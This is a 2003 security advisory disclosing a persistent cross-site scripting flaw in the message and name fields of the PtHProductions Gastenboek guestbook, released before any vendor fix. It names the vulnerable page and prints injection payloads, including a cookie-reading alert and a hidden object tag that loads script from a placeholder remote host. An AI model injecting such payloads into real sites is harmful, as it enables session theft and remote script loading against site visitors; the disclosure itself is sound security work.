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          - EXPL-A-2003-022 exploitlabs.com Advisory 022
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                -= PtHProductions Gastenboek =-


Donnie Werner
Aug, 29 2003



Vunerability(s):
----------------
1. Persistant XSS injection


Product:
--------
PtHProductions Gastenboek


Description of product:
-----------------------
Guestbook for / by www.pthproductions.be


VUNERABILITY / EXPLOIT
======================
message and name fields allows XSS injection

view - Bekijk gastenboek 
post - Teken gastenboek
 
http://www.pthproductions.be/jongeren/Gastenboek/sign.asp

input XSS of your choice
<SCRIPT>alert(document.domain);</SCRIPT>
<SCRIPT>alert(document.cookie);</SCRIPT>
or
<object style="display:none" data="http://verybad-exploit-url/bad.js"></object>


Local:
------
no

Remote:
-------
yes

Vendor Fix:
-----------
No fix on 0day



Vendor Contact:
---------------
helpdesk@pthproductions.be 

Concurrent with this advisory


Credits:
--------
Donnie Werner
morning_wood@e2-labs.com